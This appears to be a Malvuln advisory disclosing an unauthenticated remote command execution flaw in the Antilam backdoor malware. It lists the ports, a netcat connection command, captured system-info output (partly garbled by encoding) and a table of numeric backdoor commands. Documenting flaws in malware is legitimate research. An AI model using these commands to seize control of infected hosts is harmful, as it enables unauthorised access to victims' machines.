Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Antilam.14.o  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP ports 47891 and 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Example, to get the date/time we can enter 015 or the hex value 0xF.  
Type: PE32  
MD5: 3f3ee9dce39e816b4001bd6ae66e8f1a  
Vuln ID: MVID-2021-0121  
Dropped files: scandisk.exe   
Disclosure: 03/06/2021  
nc64.exe x.x.x.x 47891  
001 + Enter (Gets system info)  
001╧α∩Ωα Windows: C:\WINDOWS   
╧α∩Ωα System:   
╧α∩Ωα Temp: C:\Users\victim\AppData\Local\Temp\   
┬σ≡±ΦWindows: Windows NT 6.2 9200   
╠Φφ≤≥ Γ Windows: 15   
╚∞Ωε∞∩α: DESKTOP-3A2IQHO   
╚∞■τσ≡α: victim   
▀τ√Ω Windows: English (United States)   
╨ατ≡σ°σφΦσ: 1554x840   
NumLock: Off   
ScrollLock: Off   
≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α   
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 2,554,454,016   
╒ε±≥: DESKTOP-3A2IQHO   
╩δΦσφ≥εΓ ∩εΣΩδ■≈σφε: 7   
Other commands:  
004 TaskBar  
007 Monitor  
008 Ctrl+Alt+Del  
009 ScrollLock  
010 or 0xA (HEX) CapsLock  
011 NumLock  
012 CD-ROM  
015 or 0xF(HEX) Get Date/Time  
018 Mouse has been unlocked  
022 Shell Experience HostCommand Prompt Promptrator)   
029 lists current dir malware is running from  
033 (logout the remote system)  
082 exit netcat session  
111 lists file C:\Users\victim\AppData\Local\Temp\scrsm.src  
115 starts packman animation that eats the screen   
116 stops packman animation  
120 Web browser  
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